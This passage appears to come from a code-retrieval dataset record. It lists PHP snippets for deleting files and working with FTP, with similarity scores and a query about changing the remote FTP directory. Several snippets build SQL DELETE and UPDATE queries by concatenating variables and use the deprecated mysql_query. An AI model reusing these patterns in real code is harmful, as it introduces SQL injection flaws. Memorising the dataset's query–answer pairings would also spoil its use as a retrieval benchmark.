query\n\t\t$query = \"DELETE FROM images WHERE images . id='$image_id'\";\n\n\t\t//send query\n\t\tif (send_query($query,$db_hostname,$db_user,$db_password,$idea_db))\n\t\t{\n\t\t\t// remove from file system\n\t\t\tunlink($image);\n\t\t} else {\n\t\t\t// TODO: Error occured with removing image. Redirect Appropriately.\n\t\t\t// debug\n\t\t\techo \"<h1> Image Not Deleted </h1>\";\n\t\t}\n\t}", "function fileDelete(){\n\t\t$result = mysql_query(getFile($_GET['file']));\n\t\tif($row = mysql_fetch_assoc($result)) {\n\t\t\tgetFileGlobals($row);\n\t\t\tmysql_query(deleteObject($GLOBALS['objectId']));\n\t\t\tmysql_query(deleteFile($GLOBALS['fileId']));\n\t\t\tdie();\n\t\t}\n\t\theader('Location:' . fullURL(getLangVar(\"filesURL\")));\n\t}", "public function DeleteFile()\r\n\t{\r\n\t\t$queryDeleteFile = \"UPDATE files SET status=\\\"DELETED\\\" WHERE file_id=\".$this->fileId;\r\n\t\t$this->sqlDataBase->nonSelectQuery($queryDeleteFile);\r\n\t\tunlink(UPLOAD_PATH. DIRECTORY_SEPARATOR .$this->fileId);\r\n\t}", "function remove()\n\t{\n\t\tJSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));\n\n\t\t$user = JFactory::getUser();\n\t\tif (!$user->authorise('core.delete', 'com_gmapfp'))\n\t\t{\n\t\t\t$this->setMessage(JText::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED'), 'error');\n\t\t} else {\n\t\t\t$model = $this->getModel('gmapfp');\n\t\t\tif(!$model->delete()) {\n\t\t\t\t$msg = JText::_( 'Error: One or more GMapFPs could not be Deleted' );\n\t\t\t} else {\n\t\t\t\t$msg = JText::_( 'GMapFP(s) Deleted' );\n\t\t\t}\n\t\t}\n\n\t\t$this->setRedirect( 'index.php?option=com_gmapfp&controller=gmapfp&task=view', $msg );\n\t}", "public function silo_delete($path)\r\n\t{\r\n\t}", "function delete($path);", "function DELETE($options) \n\t\t{\n\t\t\t$options[\"path\"] = urldecode($options[\"path\"]);\n\t\t \n\t\t //Parameter des Datastorages laden\n\t\t\t$path_explode = explode(\"/\",$options[\"path\"]);\n\t\t\t$ds_path = substr($options[\"path\"],strlen($path_explode[1])+2);\n\t\t\tif(substr($ds_path,-1)==\"/\")\n\t\t\t\t$ds_path=substr($ds_path,0,-1);\n\n\t\t //Parameter des Datastorages laden\n\t\t\t$ds = getDatastorageByName($path_explode[1],$this->config_appinfos);\n\t\t\tif($ds){\n\t\t\t\t//Datei/Ordner löschen\n\t\t\t\t$result = $ds->deleteFile($ds_path);\n\n\t\t\t\treturn \"204 No Content\";\n\t\t\t} else {\n\t\t\t\treturn \"404 Not found\";\n\t\t\t}\n\t\t return \"404 Not found\";\n\t\t}", "public function delete($ssh_key);", "public function delete()\n\t{\n\t\t$this->plugin->setResponse('in delete');\n\t}", "public function wp_clean_ftp_migration(){\n\n\t\t@unlink($this->_file_destination);\n\t\t@unlink($this->_file_sql);\n\t\t@unlink($this->_file_log_ftp);\n\n\t\treturn TRUE;\n\t}", "public function on_delete() {\n $this->remove_dir();\n }", "public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}", "public function do_delete($id)\n {\n $data = json_decode($this->getMusic(\"http://192.168.91.131/api_search_music.php?id=\".$id), TRUE);\n \n //echo $data;\n $cek = count($data);\n //$cek = $data->num_rows();\n if ($cek==1) {\n\t\t $filename = $data[0]['file_name'];\n \n \t\t$this->initFtp();\n \t$res = $this->ftp->delete_file('/mnt/assets/'.$filename);\n\n \t\tif($res){\n \t\t\t$resp = json_decode($this->getMusic(\"http://192.168.91.131/api_delete_music.php?id=\".$id), TRUE);\n \t\t\tif($resp == 'fail'){\n \t\t\t\techo 'gagal hapus';\n \t\t\t}else{\n $url = 'http://192.168.91.131/api_read_music.php';\n \n $data_view = json_decode($this->getMusic($url), TRUE);\n $this->load->view(\"admin/view_home\",array(\n 'data' => $data_view\n ));\n }\n \t\t}\n //echo 'here';\n } else {\n echo 'hore';\n //redirect(base_url(\"index.php\"));\n }\n $this->ftp->close();\n }", "public function hookRemove(): void\n {\n $this->say(\"Executing the Plugin's remove hook...\");\n $this->_exec(\"php ./src/hook_remove.php\");\n }", "abstract public function remove();" ]
[ "0.67603683", "0.667927", "0.62484187", "0.6155889", "0.61435443", "0.60804677", "0.6070736", "0.6070736", "0.5943171", "0.59074533", "0.5750933", "0.57312256", "0.5654432", "0.56532246", "0.56393975", "0.56367445", "0.56367445", "0.56367445", "0.56367445", "0.5630015", "0.56292266", "0.5496772", "0.54542786", "0.54498297", "0.5444441", "0.5439038", "0.5438765", "0.54178417", "0.5394148", "0.5394148", "0.5394148", "0.5394148", "0.5394148", "0.5394148", "0.5394148", "0.5394148", "0.5394148", "0.5394148", "0.5394148", "0.5394148", "0.5394148", "0.5394148", "0.5394148", "0.5393597", "0.5392636", "0.5391506", "0.5384851", "0.5380986", "0.5380441", "0.53736913", "0.53592855", "0.53509", "0.53489494", "0.53446585", "0.5336826", "0.5323819", "0.53237206", "0.5310303", "0.53073037", "0.5300963", "0.529983", "0.529982", "0.529982", "0.5284103", "0.5281225", "0.5280047", "0.52688015", "0.52592826", "0.5258935", "0.52586365", "0.5251417", "0.52416235", "0.52368844", "0.52327186", "0.52326185", "0.5225605", "0.5216902", "0.52100897", "0.5206653", "0.5182571", "0.51769245", "0.5176805", "0.5174557", "0.5174535", "0.517149", "0.5168186", "0.51675874", "0.5167017", "0.51532984", "0.51524895", "0.5151617", "0.5148194", "0.5147447", "0.51443607", "0.5142178", "0.5140376", "0.5137025", "0.5135399", "0.51332676", "0.5132358" ]
0.51796263
80
Change the current working directory on the remote FTP server.
public function chdir($dir) { if ($this->getActive()) { // Change directory if (ftp_chdir($this->_connection, $dir)) { return true; } else { return false; } } else { throw new CHttpException(403, 'EFtpComponent is inactive and cannot perform any FTP operations.'); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function _ftp_chdir($dir)\n\t{\n\t\t// Calculate \"real\" (absolute) FTP path\n\t\t$realdir = substr($this->_initdir, -1) == '/' ? substr($this->_initdir, 0, strlen($this->_initdir) - 1) : $this->_initdir;\n\t\t$realdir .= '/'.$dir;\n\t\t$realdir = substr($realdir, 0, 1) == '/' ? $realdir : '/'.$realdir;\n\n\t\tif($this->_currentdir == $realdir)\n\t\t{\n\t\t\t// Already there, do nothing\n\t\t\treturn true;\n\t\t}\n\n\t\t$result = @ftp_chdir($this->_ftphandle, $realdir);\n\t\tif($result === false)\n\t\t{\n\t\t\t// The directory doesn't exist, let's try to create it...\n\t\t\tif(!$this->_makeDirectory($dir)) return false;\n\t\t\t// After creating it, change into it\n\t\t\t@ftp_chdir($this->_ftphandle, $realdir);\n\t\t}\n\n\t\t// Update the private \"current remote directory\" variable\n\t\t$this->_currentdir = $realdir;\n\t\treturn true;\n\t}", "public function cd($path)\n {\n // Go to root folder\n if (!ftp_chdir($this->handle, $path)) {\n return $this->log('Remote folder[##] not found', $path);\n }\n\n // Check if we can write there\n if (!$this->isWritable()) {\n return $this->log('Remote path [##] is not writable', $path);\n }\n\n $this->log('Switching to [##] folder', $path);\n\n // Store current folder\n $this->currentFolder = ftp_pwd($this->handle);\n\n return true;\n }", "private function setWorkingDir()\n {\n $this->workingDirBackup = getcwd();\n chdir(PATH_SITE);\n }", "function setCwd($cwd);", "function chdir($dir)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_chdir($this->_socket, $dir);\r\n \t} else {\r\n \t $this->putcmd(\"CWD\", $dir);\r\n \t}\r\n \treturn $this->ok();\r\n }", "function _chdir($dir = '')\n\t{\n\t\tif ($dir && $dir !== '/')\n\t\t{\n\t\t\tif (substr($dir, -1, 1) == '/')\n\t\t\t{\n\t\t\t\t$dir = substr($dir, 0, -1);\n\t\t\t}\n\t\t}\n\n\t\treturn @ftp_chdir($this->connection, $dir);\n\t}", "public function changeCurrentDirectory(Directory $newCurrentDirectory);", "function _cwd()\n\t{\n\t\treturn @ftp_pwd($this->connection);\n\t}", "function changeDir($directory)\n\t{\n\t\treturn @ftp_chdir($this->connection, $directory);\n\t}", "public function cwd() {\n\t\t$cwd = ftp_pwd( $this->link );\n\n\t\tif ( $cwd ) {\n\t\t\t$cwd = trailingslashit( $cwd );\n\t\t}\n\n\t\treturn $cwd;\n\t}", "function setDir()\n{\n\t// This script is sometimes called from the other directories - for auto sending, so we need to change the directory\n\t$pos = strrpos(__FILE__, '/');\n\tif ($pos === false)\n\t{\n\t\t$pos = strrpos(__FILE__, '\\\\');\n\t\tif ($pos === false)\n\t\t{\n\t\t\treturn;\n\t\t}\n\t}\n\t$dir = substr(__FILE__, 0, $pos);\n\tchdir($dir);\n}", "protected function changePath()\n {\n chdir(base_path());\n }", "function _connectFTP()\n\t{\n\t\tJoomlapackLogger::WriteLog(_JP_LOG_DEBUG, 'Connecting to remote FTP');\n\t\t// Connect to the FTP server\n\t\tif($this->_usessl)\n\t\t{\n\t\t\tif(function_exists('ftp_ssl_connect'))\n\t\t\t{\n\t\t\t\t$this->_ftphandle = @ftp_ssl_connect($this->_host, $this->_port);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->_ftphandle = false;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->_ftphandle = @ftp_connect($this->_host, $this->_port);\n\t\t}\n\n\t\tif(!is_resource($this->_ftphandle))\n\t\t{\n\t\t\t$this->setError('Could not connect to remote FTP server');\n\t\t\treturn false;\n\t\t}\n\n\t\t// Login\n\t\tif(!@ftp_login($this->_ftphandle, $this->_user, $this->_pass))\n\t\t{\n\t\t\t$this->setError('Invalid username/password for the remote FTP server');\n\t\t\treturn false;\n\t\t}\n\n\t\t// Change to initial directory\n\t\tif(!@ftp_chdir($this->_ftphandle, $this->_initdir))\n\t\t{\n\t\t\t$this->setError('Invalid initial directory for the remote FTP server');\n\t\t\treturn false;\n\t\t}\n\n\t\t$this->_currentdir = $this->_initdir;\n\n\t\t@ftp_pasv($this->_ftphandle, $this->_passive);\n\t\treturn true;\n\t}", "public function cwd()\n {\n return ssh2_sftp_realpath($this->sftpHandle, \".\");\n }", "public function changeWorkingDirectory($path);", "function cd($dir) {\r\n\t\t$erg = @ftp_chdir($this->_handle, $dir);\r\n\t\tif ( !$erg ) {\r\n\t\t\tthrow new ftpCdException($dir);\r\n\t\t} else {\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}", "public function currentDir() {\n if ($this->getActive()) {\n return ftp_pwd($this->_connection);\n } else {\n throw new CHttpException(403, 'EFtpComponent is inactive and cannot perform any FTP operations.');\n }\n }", "function _chdir($dir = '')\n\t{\n\t\tif ($dir && $dir !== '/')\n\t\t{\n\t\t\tif (substr($dir, -1, 1) == '/')\n\t\t\t{\n\t\t\t\t$dir = substr($dir, 0, -1);\n\t\t\t}\n\t\t}\n\n\t\treturn $this->_send_command('CWD', $dir);\n\t}", "function transfer()\n\t{\n\t\tglobal $phpbb_root_path;\n\n\t\t$this->file_perms\t= 0644;\n\t\t$this->dir_perms\t= 0777;\n\n\t\t// We use the store directory as temporary path to circumvent open basedir restrictions\n\t\t$this->tmp_path = $phpbb_root_path . 'store/';\n\t}", "public function connect()\n {\n $server = $this->server;\n\n // Make sure the path has a trailing slash.\n $server['path'] = rtrim($server['path'], '/').'/';\n\n // Make the connection.\n $connection = @ftp_connect($server['host'], $server['port']);\n\n if (! $connection)\n {\n throw new Exception(\"Couldn't connect to '{$server['host']}'.\");\n }\n\n // Try logging in.\n if (! @ftp_login($connection, $server['username'], $server['password']))\n {\n throw new Exception(\"Couldn't login to '{$server['host']}' with user '{$server['username']}'\");\n }\n\n // Set passive mode from connection config.\n ftp_pasv($connection, (bool) $server['passive']);\n\n // Try changing the directory to the one set\n // in the connection config.\n if (! ftp_chdir($connection, $server['path']))\n {\n throw new Exception(\"Couldn't change the FTP directory to '{$server['path']}'.\");\n }\n\n $this->connection = $connection;\n }", "public function chdir($directory) {\n $result = false;\n if (false !== $this->connection) {\n $result |= ftp_chdir($this->connection, $directory);\n }\n return $result;\n }", "function setup($isPassive=TRUE) {\n\t\t// set up basic connection\n\t\t$this->conn_id = ftp_connect($this->ftp_server, $this->ftp_port); \n\n\t\t// login with username and password\n\t\t$this->login_result = ftp_login($this->conn_id, $this->ftp_user_name, $this->ftp_user_pass); \n\n\t\t// check connection\n\t\tif ((!$this->conn_id) || (!$this->login_result)) { \n\t\t\t\techo \"FTP connection has failed!\\n\";\n\t\t\t\techo \"Attempted to connect to $this->ftp_server for user $this->ftp_user_name\\n\"; \n\t\t\t\texit; \n\t\t} else {\n\t\t\t\techo \"Connected to $this->ftp_server,\\n\\t$this->ftp_user_name\\n\";\n\t\t}\n\n\t\tif($isPassive){\n\t\t\tftp_pasv($this->getConn_id(), TRUE);\n\t\t}\n\t}", "public function testChDir() {\n $currentDir = getcwd();\n $parentDir = dirname($currentDir);\n\n $handle = new Directory($parentDir);\n $handle->chdir();\n\n $this->assertEquals($parentDir, getcwd());\n chdir($currentDir);\n }", "public function cwd(string $directory): void\n\t{\n\t\t$this->currentDirectory = $directory;\n\t}", "public function cwd()\n {\n }", "public function cwd()\n {\n }", "public function cwd()\n {\n }", "public function cwd()\n {\n }", "public function cwd()\n {\n }", "function Pico_FTPWritable($directory)\n{\n\t$path = explode('/', trim($directory, '/'));\n\t$start_path = getcwd();\n\n\t// get it at the beginning\n\t$ftp = Pico_GetFTPObject();\n\n\twhile ($folder = array_shift($path))\n\t{\n\t\tif (!is_dir($folder))\n\t\t{\n\t\t\t// make the folder\n\n\t\t\t// just make if parent happens to already be writable\n\t\t\t// this will help sites with no ftp\n\t\t\tif (is_writable(getcwd())) \n\t\t\t{\n\t\t\t\tmkdir($folder); \n\t\t\t\tchmod($folder, 0777);\n\t\t\t} \n\t\t\telse\n\t\t\t{\n\t\t\t\t// make it with ftp\n\t\t\t\tif ($ftp == false) { return false; }\n\n\t\t\t\ttry \n\t\t\t\t{\n\t\t\t\t\t$ftp->mkdir($folder);\n\t\t\t\t} \n\t\t\t\tcatch (Exception $e) \n\t\t\t\t{\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (!is_dir($folder)) { return false; }\n\t\t}\n\n\t\t// only 777 the LAST folder\n\t\tif ( (sizeof($path) == 0) and (!is_writable($folder)) )\n\t\t{\n\t\t\tif (is_writable(getcwd()))\n\t\t\t{\n\t\t\t\tchmod($folder, 0777);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif ($ftp == false) { return false; }\n\n\t\t\t\ttry \n\t\t\t\t{\n\t\t\t\t\t$ftp->chmod($folder, 0777);\t\n\t\t\t\t} \n\t\t\t\tcatch (Exception $e) \n\t\t\t\t{\n\t\t\t\t\treturn false;\n\t\t\t\t}\t\n\t\t\t}\n\t\t}\n\n\t\t// change into the folder so we can do the next folder up\n\t\ttry\n\t\t{\n\t\t\tif (is_object($ftp)) { $ftp->chdir($folder); }\n\t\t}\n\t\tcatch (Exception $e)\n\t\t{\n\t\t\t$error_msg = $e->getMessage();\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tchdir($folder);\n\t}\n\n\t// go back to start, if we got this far all is well\n\tchdir($start_path);\n\treturn true;\n}", "public function dir_rewinddir() {}", "protected function restoreWorkingDirectory()\n {\n if ($this->cwd) {\n chdir($this->savedWorkingDirectory);\n }\n }", "public function isDirectory()\n {\n $this->is_directory = false;\n\n $current = ftp_pwd($this->getConnection());\n\n try {\n if (@ftp_chdir($this->getConnection(), $this->path)) {\n $this->is_directory = true;\n } else {\n $this->is_file = false;\n }\n\n } catch (\\Exception $e) {\n\n }\n\n ftp_chdir($this->getConnection(), $current);\n\n return;\n }", "function ftp_put_dir($loc_dir, $rmt_dir, $isRecursive=TRUE, $useWhiteList=FALSE) {\n\t\t$loc_dir = rtrim($loc_dir, '/');\n\t\t$rmt_dir = rtrim($rmt_dir, '/');\n\t\t\n\t\t$this->prv_ftp_put_dir($loc_dir, $rmt_dir, $isRecursive, $useWhiteList);\n\t}", "public function set_working_dir( $dir_path )\n\t{\n\t\tif ( is_string($dir_path) ) {\n\t\t\tif ( $new_path = realpath($dir_path) ) {\n\t\t\t\t$dir_path = $new_path;\n\t\t\t\tif ( is_dir($dir_path) ) {\n\t\t\t\t\t$this->dir_path = $dir_path;\n\t\t\t\t} else {\n\t\t\t\t\tthrow new Exception('\"' . $dir_path . '\" does not exist.');\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "abstract function changedir($path = '', $supress_debug = FALSE);", "public function ftpConnect() {\n\t\t\t$this->ftpConnection = ftp_connect($this->ftp['server']);\n\t\t\t\n\t\t\tif(ftp_login($this->ftpConnection, $this->ftp['user'], $this->ftp['password'])) {\n\t\t\t\t\n\t\t\t\tif(!empty($this->ftp['defaultDirectory'])) {\n\t\t\t\t\tftp_chdir($this->ftpConnection, $this->ftp['defaultDirectory']);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$this->system->addSyslog($this->name, \"FTP successfully connected.\");\n\t\t\t\treturn $this->ftpConnection;\n\t\t\t}\n\t\t\telse $this->system->addSyslog($this->name, \"Can't connect to FTP.\");\n\t\t\t\n\t\t\treturn null;\n\t\t}", "public function mkDir($path)\n {\n // Try get into this dir, maybe it already there\n if (!@ftp_chdir($this->handle, $path)) {\n // Create dir\n ftp_mkdir($this->handle, $path);\n // Change rights\n ftp_chmod($this->handle, 0755, $path);\n // Go to it\n ftp_chdir($this->handle, $path);\n }\n }", "private function setCurrent($dir)\n\t{\n\t\t$this->current_dir = str_replace(self::$dir, '', $dir);\n\t}", "function ftpFiles($id, $archivo, $destino){\r\n\t//die(\"ftpFiles: $id - $archivo - $destino<br />\");\r\n\textract($GLOBALS);\r\n\t$aux = split(\"@\", $destino);\r\n\t$dir_crops = $aux[0] . \"/\";\r\n\t$server = $aux[1];\r\n\t$dir_id = calcularCarpeta($id) . \"/\";\r\n\t$auxFile = pathinfo($archivo);\r\n\t$localFile = $auxFile[\"basename\"];\r\n\t\r\n\tswitch($server){\r\n\t\tcase \"USA\": $dir_final = DIR_WP_USA;break;\t\t\r\n\t\tcase \"241\": $dir_final = DIR_WP_241;\tbreak;\r\n\t}\r\n\t\r\n\t$remoteFilePath = \"$dir_final$dir_crops$dir_id$localFile\";\r\n\tprint \"$dir_crops - $localFile creado!<br />\";\r\n\t//------------------ftp login---------------------------------------------------------------------------------\r\n\t$ftp = new Ftp($servers[$server][0], $servers[$server][1], $servers[$server][2]);\r\n\tif( !$ftp->login() ){\r\n\t\terror(\"No se pudo conectar al FTP: $server\", false);\r\n\t\tlimpiarCagadas($newId);\r\n\t};\r\n\t\r\n\tif( !$ftp->cambiarAcarpeta($dir_final . $dir_crops ) ){\r\n\t\tif( !$ftp->crearCarpeta( $dir_final . $dir_crops ) ){\r\n\t\t\terror(\"No se pudo crear la carpeta: $dir_final . $dir_crops\", false);\r\n\t\t\tlimpiarCagadas($newId);\r\n\t\t\tdie();\r\n\t\t}\r\n\t\t$ftp->cambiarAcarpeta($dir_final . $dir_crops);\r\n\t}\r\n\t\t\r\n\tif( !$ftp->cambiarAcarpeta( $dir_id ) ){\r\n\t\tif( !$ftp->crearCarpeta( $dir_id ) ){\r\n\t\t\tlimpiarCagadas($newId);\r\n\t\t\tdie(\"No se pudo crear la carpeta: \" . $dir_final . $dir_crops . $dir_id);\r\n\t\t}\r\n\t\t$ftp->cambiarAcarpeta( $dir_id );\r\n\t}\r\n\t\r\n\tif( !$ftp->subir( $archivo, $localFile) ){\r\n\t\tprint \"no se pudo subir ($archivo a $remoteFilePath en $server)\\n\";\r\n\t\terror(\"No se pudo subir $archivo a $remoteFilePath en $server\", false);\r\n\t\tlimpiarCagadas($newId);\r\n\t\tdie();\r\n\t}else{\r\n\t\t@unlink($archivo);\r\n\t\tprint $localFile . \" subido a: $server!!<br />\";\r\n\t}\r\n\r\n\t//$ftp->logout();\r\n\t//print \"$remoteFilePath@$server@$destino <br />\";\r\n\t$_SESSION['subidos'][] = \"$remoteFilePath@$server@$destino\";\r\n}", "function put($remotefile, $localfile, $mode = 1)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_put($this->_socket, $remotefile, $localfile, $mode);\r\n \t} else {\r\n \tif ($mode) {\r\n \t\t$type = \"I\";\r\n \t} else {\r\n \t\t$type = \"A\";\r\n \t}\r\n \t\r\n \tif (!file_exists($localfile)) {\r\n \t\t$this->debug(\"Error : No such file or directory \\\"\".$localfile.\"\\\"\\n\");\r\n \t\t$this->debug(\"Error : PUT failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$fp = @fopen($localfile, \"r\");\r\n \tif (!$fp) {\r\n \t\t$this->debug(\"Cannot read file \\\"\".$localfile.\"\\\"\\n\");\r\n \t\t$this->debug(\"Error : PUT failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->putcmd(\"PASV\");\r\n \t$string = $this->getresp();\r\n \t\r\n \t$this->putcmd(\"TYPE\", $type);\r\n \t$this->getresp();\r\n \t\r\n \tif ($this->file_exists($remotefile)) {\r\n \t\t$this->debug(\"Warning : Remote file will be overwritten\\n\");\r\n \t}\r\n \t\r\n \t$this->putcmd(\"STOR\", $remotefile);\r\n \t\r\n \t$sock_data = $this->open_data_connection($string);\r\n \tif (!$sock_data) {\r\n \t\treturn FALSE;\r\n \t}\r\n \tif ($this->ok()) {\r\n \t\t$this->debug(\"Connected to remote host\\n\");\r\n \t} else {\r\n \t\t$this->debug(\"Cannot connect to remote host\\n\");\r\n \t\t$this->debug(\"Error : PUT failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->debug(\"Storing local file \\\"\".$localfile.\"\\\" to remote file \\\"\".$remotefile.\"\\\"\\n\");\r\n \twhile (!feof($fp)) {\r\n \t\tfputs($sock_data, fread($fp, 4096));\r\n \t}\r\n \tfclose($fp);\r\n \t\r\n \t$this->close_data_connection($sock_data);\r\n \t}\r\n \treturn $this->ok();\r\n }", "public function cd(string $path): string\n {\n $pwd = $this->_getPath($path);\n if (empty($pwd))\n {\n $pwd = \"/\";\n }\n if ($this->_checkIfExist($pwd) && $this->is_dir($pwd))\n {\n $this->_pwd = explode(\"/\", rtrim($pwd, \"/\"));\n } else\n {\n {\n throw new SFTPException(\"Could not access directory\");\n }\n }\n return $this->pwd();\n }", "public function pwd()\n\t{\n\t\tif (is_resource($this->_sftp) == FALSE)\n\t\t{\n\t\t\treturn NULL;\n\t\t}\n\t\treturn ssh2_sftp_realpath($this->_sftp, '.');;\n\t}", "private function setCurrentPath(){\n\t\t$dirs = explode('/', $this->pages[0]);\n\t\t// if last character is a / then just use it\n\t\tif(empty($dirs[count($dirs)-1]) || is_null($dirs[count($dirs)-1])){\n\t\t\t$this->current_path = $this->pages[0];\n\t\t// if end of path was a filename, remove it and add a /\n\t\t} else {\n\t\t\tarray_pop($dirs);\n\t\t\t$this->current_path = implode('/', $dirs).'/';\n\t\t}\n\t}", "function fput($remotefile, $fp, $mode = 1)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_fput($this->_socket, $remotefile, $fp, $mode);\r\n \t} else {\r\n \tif ($mode) {\r\n \t\t$type = \"I\";\r\n \t} else {\r\n \t\t$type = \"A\";\r\n \t}\r\n \t\r\n \t$this->putcmd(\"PASV\");\r\n \t$string = $this->getresp();\r\n \t\r\n \t$this->putcmd(\"TYPE\", $type);\r\n \t$this->getresp();\r\n \t\r\n \tif ($this->file_exists($remotefile)) {\r\n \t\t$this->debug(\"Warning : Remote file will be overwritten\\n\");\r\n \t}\r\n \t\r\n \t$this->putcmd(\"STOR\", $remotefile);\r\n \t\r\n \t$sock_data = $this->open_data_connection($string);\r\n \tif (!$sock_data) {\r\n \t\treturn FALSE;\r\n \t}\r\n \tif ($this->ok()) {\r\n \t\t$this->debug(\"Connected to remote host\\n\");\r\n \t} else {\r\n \t\t$this->debug(\"Cannot connect to remote host\\n\");\r\n \t\t$this->debug(\"Error : PUT failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->debug(\"Storing local file to remote file \\\"\".$remotefile.\"\\\"\\n\");\r\n \twhile (!feof($fp)) {\r\n \t\tfputs($sock_data, fread($fp, 4096));\r\n \t}\r\n \t\r\n \t$this->close_data_connection($sock_data);\r\n \t}\r\n \treturn $this->ok();\r\n }", "public function getChrootDir()\n {\n return $this->chrootDir;\n }", "function ftp($host, $username, $password, $root_path, $port = 21, $timeout = 10)\n\t{\n\t\t$this->host\t\t\t= $host;\n\t\t$this->port\t\t\t= $port;\n\t\t$this->username\t\t= $username;\n\t\t$this->password\t\t= $password;\n\t\t$this->timeout\t\t= $timeout;\n\n\t\t// Make sure $this->root_path is layed out the same way as the $user->page['root_script_path'] value (/ at the end)\n\t\t$this->root_path\t= str_replace('\\\\', '/', $this->root_path);\n\n\t\tif (!empty($root_path))\n\t\t{\n\t\t\t$this->root_path = (($root_path[0] != '/' ) ? '/' : '') . $root_path . ((substr($root_path, -1, 1) == '/') ? '' : '/');\n\t\t}\n\n\t\t// Init some needed values\n\t\ttransfer::transfer();\n\n\t\treturn;\n\t}", "public function setFtp(Ftp $ftp)\n {\n $this->ftp = $ftp;\n }", "public function getCurrentDirectory();", "public function getCurrentDirectory();", "public function setWrkDirectory($wrkDir){\n $this->wrkDir = $wrkDir;\n $dir = opendir($this->wrkDir);\n \n if(!$dir){\n return FALSE; //couldn't open directory\n }\n else{\n closedir($dir);\n return;\n }\n }", "public function ftpDownload($localDir, $remoteDir) {\n\t\t\t$i = 0;\n\t\t\t//change the directory if not current\n\t\t\tif($remoteDir !== \".\") {\n\t\t\t\t$chdir = TRUE;\n\t\t\t\t\n\t\t\t\tif(!ftp_chdir($this->ftpConnection, $remoteDir)) {\n\t\t\t\t\t$this->system->addSyslog($this->name, \"Can't change ftp directory to '$remoteDir'.\");\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$chdir = FALSE;\n\t\t\t}\n\t\t\t\n\t\t\t$fileList = ftp_nlist($this->ftpConnection, \".\");\n\t\t\tsort($fileList);\n\t\t\t\n\t\t\tforeach($fileList as $file) {\n\t\t\t\tif($file === \".\" || $file === \"..\") {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif(@ftp_chdir($this->ftpConnection, $file)) {\n\t\t\t\t\tftp_cdup($this->ftpConnection);\n\t\t\t\t\t\n\t\t\t\t\tmkdir($localDir . \"/$file\");\n\t\t\t\t\t\n\t\t\t\t\t//logovat vytvoreni adresare\n\t\t\t\t\t$this->system->addSyslog($this->name, \"Local directory '$file' created.\");\n\t\t\t\t\t\n\t\t\t\t\t$dir = $localDir . \"/\" . $file;\n\t\t\t\t\t\n\t\t\t\t\t$i += $this->ftpDownload($dir, $file);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tif(ftp_get($this->ftpConnection, $localDir . \"/$file\", $file, FTP_BINARY)) {\n\t\t\t\t\t\t$i++;\n\t\t\t\t\t\t\n\t\t\t\t\t\t$this->system->addSyslog($this->name, \"File '$file' downloaded successfully.\");\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\t$this->system->addSyslog($this->name, \"File '$file' download failed.\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t//return to previous directory before exit\n\t\t\tif($chdir) {\n\t\t\t\tftp_cdup($this->ftpConnection);\n\t\t\t}\n\t\t\t\n\t\t\treturn $i;\n\t\t}", "function crushftp_update_ftp_folder_form_submit($form, &$form_state) {\n global $user;\n $path=\"/var/www/html/vsi-online-hr/ftp\";\n $ar=getDirectorySize($path); \n if ($handle = opendir('/var/www/html/vsi-online-hr/ftp')) {\n //echo \"Directory handle: $handle\\n\";\n //echo \"Entries:\\n\";\n // This is the correct way to loop over the directory. \n while (false !== ($entry = readdir($handle))) {\n //echo \"$entry :\";\n $path=\"/var/www/html/vsi-online-hr/ftp/$entry\"; \n $ar=getDirectorySize($path); \n $values = array('size' => sizeFormat($ar['size']));\n $return_value = NULL;\n // store crushftp details in crushftp databse in users table\n db_set_active('crushftp');\n try {\n $return_value = db_update('USERS')\n ->condition('username', $entry)\n ->fields ($values)\n ->execute();\n drupal_set_message(t('The FTP Folders are updated'));\n watchdog('crushftp', 'New crushftp user added (@user)', array('@user' => $user->uid), WATCHDOG_INFO);\n }\n catch (Exception $e) {\n drupal_set_message(t('db_insert failed. Message = %message, query= %query',\n array('%message' => $e->getMessage(), '%query' => $e->query_string)), 'error');\n } \n // Connecting to default drupal database.\n db_set_active();\n }\n closedir($handle);\n } \n}", "public function setWorkingDirectory($path);", "public function upload() {\n // FYI. We are on master now.\n $m_ftp = new \\Model_Ftp();\n $m_ftp->user_id = $this->user_id;\n $branch = $this->branch;\n // Get ftp data for the respective branch\n $ftp_data = $m_ftp->get($branch['ftp_id']);\n\n if (count($ftp_data) !== 1) {\n $this->log('Failed: Enviornment does not have a Linked FTP account.');\n throw new Exception(\"No Linked FTP for enviornment.\");\n } else {\n $ftp_data = $ftp_data[0];\n }\n\n // Testing if the FTP server works.\n try {\n $ftp_data['user'] = $ftp_data['username'];\n $ftp_url = http_build_url($ftp_data);\n// $ftp_test = utils::test_ftp($ftp_url);\n $ftp_test = new \\Banago\\Bridge\\Bridge($ftp_url);\n if ($ftp_test) {\n $this->log('ftp_connect', 'connected');\n }\n } catch (Exception $e) {\n $this->log('ftp_connect', 'connection failed: ' . $e->getMessage());\n throw new Exception('We are sending msg 